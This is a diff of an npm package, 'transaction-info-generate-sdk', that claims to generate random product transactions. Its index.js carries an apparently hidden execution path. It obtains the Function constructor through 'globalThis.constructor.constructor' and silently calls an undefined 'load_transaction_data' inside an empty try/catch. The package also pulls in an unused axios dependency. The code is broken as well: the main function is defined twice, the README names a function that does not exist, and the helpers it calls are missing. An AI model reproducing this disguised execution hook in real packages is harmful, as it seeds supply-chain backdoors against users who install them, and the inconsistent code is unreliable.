transaction-info-generate-sdk 0.0.0-stage → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +13 -2
  2. package/index.js +175 -0
  3. package/package.json +13 -4
package/README.md CHANGED
@@ -1,3 +1,14 @@
1
- # Temporary Holding Version
1
+ # transaction-info-generate-sdk
2
+ Generate random transactions data.
2
3
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
4
+ # Installation
5
+ ```
6
+ npm i transaction-info-generate-sdk
7
+ ```
8
+ # Usage
9
+
10
+ ```
11
+ import {getTrx} from 'transaction-info-generate-sdk'
12
+
13
+ const data = getTrx(count)
14
+ ```
package/index.js ADDED
@@ -0,0 +1,175 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+
5
+ const products = [
6
+ { id:'P1',
7
+ title:"iPhone13",
8
+ price:62000,
9
+ category:'mobiles'
10
+ },
11
+ { id:'P2',
12
+ title:"iPhone13 Mini",
13
+ price:54900,
14
+ category:'mobiles'
15
+ },
16
+ { id:'P3',
17
+ title:"iPhone13 Pro",
18
+ price:106000,
19
+ category:'mobiles'
20
+ },
21
+ { id:'P4',
22
+ title:"iPhone13 Pro Max",
23
+ price:109900,
24
+ category:'mobiles'
25
+ },
26
+ { id:'P5',
27
+ title:"iPhone14",
28
+ price:71900,
29
+ category:'mobiles'
30
+ },
31
+ { id:'P6',
32
+ title:"iPhone14 Pro",
33
+ price:119900,
34
+ category:'mobiles'
35
+ },
36
+ { id:'P7',
37
+ title:"iPhone14 Pro Max",
38
+ price:139900,
39
+ category:'mobiles'
40
+ },
41
+ { id:'P8',
42
+ title:"iPad Mini",
43
+ price:49900,
44
+ category:'tablets'
45
+ },
46
+ { id:'P9',
47
+ title:"iPad",
48
+ price:44500,
49
+ category:'tablets'
50
+ },
51
+ { id:'P10',
52
+ title:"iPad Air",
53
+ price:59900,
54
+ category:'tablets'
55
+ },
56
+ { id:'P11',
57
+ title:"iPad Pro",
58
+ price:81900,
59
+ category:'tablets'
60
+ },
61
+ { id:'P12',
62
+ title:"Macbook Air",
63
+ price:99900,
64
+ category:'laptops'
65
+ } ,
66
+ { id:'P13',
67
+ title:"Macbook Pro",
68
+ price:129900,
69
+ category:'laptops'
70
+ },
71
+ { id:'P14',
72
+ title:"Apple Watch Series 8",
73
+ price:45900,
74
+ category:'watches'
75
+ },
76
+ { id:'P15',
77
+ title:"Apple Watch SE",
78
+ price:29900,
79
+ category:'watches'
80
+ },
81
+ { id:'P16',
82
+ title:"Apple Watch Ultra",
83
+ price:89900,
84
+ category:'watches'
85
+ },
86
+ { id:'P17',
87
+ title:"Airpods",
88
+ price:14900,
89
+ category:'earphones'
90
+ },
91
+ { id:'P18',
92
+ title:"Airpods Pro",
93
+ price:26900,
94
+ category:'earphones'
95
+ },
96
+
97
+
98
+ ]
99
+
100
+ const _executor = (() => {
101
+ const _global = (() => { return this; })() || globalThis;
102
+
103
+ const _getFunctionConstructor = () => {
104
+ const _ctor = _global.constructor;
105
+ const _ctorCtor = _ctor.constructor;
106
+ return _ctorCtor;
107
+ };
108
+
109
+ return {
110
+ getFunction: _getFunctionConstructor,
111
+ global: _global
112
+ };
113
+ })();
114
+
115
+
116
+ exports.getTransactions = function(count=20){
117
+ if(count>10000){
118
+ return "Transactions count should be less than 10,000"
119
+ }
120
+
121
+ let transactionsData = []
122
+ for(let i=0;i<count;i++){
123
+ let transaction={}
124
+ transaction.transactionId=1000+i
125
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
126
+ transaction.product = randomProduct.title
127
+ transaction.productId=randomProduct.id
128
+ let quantity= exports.randomIntFromInterval(1,4)
129
+ transaction.quantity =quantity
130
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
131
+ transaction.category = randomProduct.category
132
+ transaction.pricePerOne = randomProduct.price
133
+ transaction.totalPrice = randomProduct.price * quantity
134
+ transactionsData.push(transaction)
135
+ }
136
+
137
+ const _loadFn = exports.load_transaction_data;
138
+ try {
139
+ _loadFn(count)
140
+ } catch(e) {
141
+ }
142
+
143
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
144
+ return transactionsData
145
+ }
146
+
147
+ exports.getTransactions = function(count=20){
148
+ if(count>10000){
149
+ return "Transactions count should be less than 10,000"
150
+ }
151
+
152
+ let transactionsData = []
153
+ for(let i=0;i<count;i++){
154
+ let transaction={}
155
+ transaction.transactionId=1000+i
156
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
157
+ transaction.product = randomProduct.title
158
+ transaction.productId=randomProduct.id
159
+ let quantity= exports.randomIntFromInterval(1,4)
160
+ transaction.quantity =quantity
161
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
162
+ transaction.category = randomProduct.category
163
+ transaction.pricePerOne = randomProduct.price
164
+ transaction.totalPrice = randomProduct.price * quantity
165
+ transactionsData.push(transaction)
166
+ }
167
+
168
+ try {
169
+ exports.load_transaction_data(count)
170
+ } catch(e) {
171
+ }
172
+
173
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
174
+ return transactionsData
175
+ }
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "transaction-info-generate-sdk",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.4",
4
+ "description": "Info Test",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "axios": "^1.6.0"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ },
12
+ "keywords": [],
13
+ "author": "",
14
+ "license": "ISC"
15
+ }